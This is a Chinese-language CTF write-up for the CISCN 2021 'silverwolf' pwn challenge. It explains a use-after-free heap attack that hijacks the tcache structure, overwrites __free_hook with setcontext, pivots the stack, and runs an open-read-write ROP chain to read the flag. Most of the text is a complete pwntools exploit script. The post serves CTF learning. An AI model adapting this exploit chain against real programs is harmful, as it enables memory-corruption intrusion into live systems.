Featured image of post NSSCTF-CISCN-2021-silverwolf 题解

NSSCTF-CISCN-2021-silverwolf 题解

|

题目

题目链接

checksec

这是什么鸭

全开

IDA

main

这是什么鸭

菜单题

initbuf

这是什么鸭

有沙箱,需要 orw

allocate

这是什么鸭

同一时间只能掌控一个 chunk ,最大为 0x78

edit

这是什么鸭

show

这是什么鸭

用于 leak

delete

这是什么鸭

有 UAF

攻击思路

挺棘手的,这道题目没有任何 leak pie 和 leak stack 的手段,只能 leak libc 和 leak heap

利用 UAF 和 tcache 机制我们可以轻松 leak heap ,并把 tcache_pthread_struct 扔进 unsorted_bin 以 leak libc ,同时还可以保留 tcache_pthread_struct 的写入权限

劫持到 tcache_pthread_struct 后有一个好处: 我们获得了 tcache_entries 的控制权,这意味着我们可以轻松指定下一次指定大小的 chunk 的分配地址,这有利于我们布置 rop 链以及接下来的 setcontext 技巧

由于我们没办法直接劫持程序流程,而且要实现 orw 的话直接劫持 free_hook 不够(参数个数原因),因此我们考虑栈迁移并构造 rop 链

我们将栈迁移的目标设置在堆上,而要实现栈迁移,我们可以将 free_hook 劫持为 setcontext + 0x35 ,传入的 rdi 为寄存器布局的地址,即可实现类似 srop 的效果

setcontext

这是什么鸭

这里第一个 rcx 即 rip

接下来我使用了一点小巧思:我们不直接写入 orw 的 rop 链,因为这样太长,需要分段写入,所以我们可以先调用 read syscall 在 rsp 的目标地址一次性写入 rop 链

因此我们需要操纵的寄存器有

1
2
3
4
5
6
rax = 0
rdi = 0
rsi = heap_addr + rop_offset
rdx = 0x400
rsp = heap_addr + rop_offset
rip = syscall_ret_addr

然后在新获得的写入机会中写入完整的 orw 攻击链即可拿到 flag

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./silverwolf_patched')
else:
	io = remote('node4.anna.nssctf.cn', 22853)

def allocate(size):
	io.sendlineafter(b'Your choice: ', b'1')
	io.sendlineafter(b'Index: ', b'0')
	io.sendlineafter(b'Size: ', str(size).encode())

def edit(content):
	io.sendlineafter(b'Your choice: ', b'2')
	io.sendlineafter(b'Index: ', b'0')
	io.sendlineafter(b'Content: ', content)

def show():
	io.sendlineafter(b'Your choice: ', b'3')
	io.sendlineafter(b'Index: ', b'0')

def delete():
	io.sendlineafter(b'Your choice: ', b'4')
	io.sendlineafter(b'Index: ', b'0')

def exit():
	io.sendlineafter(b'Your choice: ', b'5')

def attack():
	allocate(0x78)
	delete()
	show()
	io.recvuntil(b'Content: ')
	heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
	log.info(f'heap_base = {hex(heap_base)}')

	edit(p64(heap_base + 0x10) + p64(0))
	allocate(0x78)
	allocate(0x78)
	edit((p8(0) * 35 + p8(7)).ljust(0x40 - 1, p8(0)))
	delete()
	show()
	io.recvuntil(b'Content: ')
	libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x3ebca0
	log.info(f'libc_base = {hex(libc_base)}')
	
	free_hook = 0x3ed8e8 + libc_base
	setcontext = 0x521b5 + libc_base
	xor_rax_ret = 0xb15a5 + libc_base
	pop_rdx_pop_rsi_ret = 0x130569 + libc_base
	syscall_ret = 0xd2745 + libc_base
	pop_rax_ret = 0x43ae8 + libc_base
	pop_rdi_ret = 0x215bf + libc_base
	stack_pivoting0 = 0x10000 + heap_base
	stack_pivoting1 = 0x10000 + heap_base + 0x70
	stack_pivoting2 = 0x10000 + heap_base + 0xa0
	edit(p8(0) * 0x40 + p64(free_hook - 0x8) + p64(stack_pivoting2) + p64(stack_pivoting1) + p64(stack_pivoting0))
	allocate(0x18)
	edit(b'/flag\x00\x00\x00' + p64(setcontext))
	log.info(f'free_hook_addr = {hex(free_hook)}')
	log.info(f'set_context_addr = {hex(setcontext)}')
	
	allocate(0x28)
	srop2 = flat([
		p64(heap_base + 0x58), 
		p64(syscall_ret)])
	edit(srop2)

	allocate(0x38)
	srop1 = flat([
		p64(heap_base + 0x58), 
		p64(0) * 2, 
		p64(0x400)])
	edit(srop1)

	allocate(0x48)
	delete()

	orw = flat([
		p64(pop_rdi_ret), 
		p64(free_hook - 0x08), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0), 
		p64(0), 
		p64(pop_rax_ret), 
		p64(2), 
		p64(syscall_ret), 
		p64(pop_rdi_ret), 
		p64(3), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0x100), 
		p64(heap_base + 0x300), 
		p64(xor_rax_ret), 
		p64(syscall_ret), 
		p64(pop_rdi_ret), 
		p64(1), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0x100), 
		p64(heap_base + 0x300), 
		p64(pop_rax_ret), 
		p64(1), 
		p64(syscall_ret)])
	io.send(orw)

	io.interactive()

attack()
本博客已稳定运行
发表了40篇文章 · 总计96383字
使用 Hugo 构建
主题 Stack 设计自 Jimmy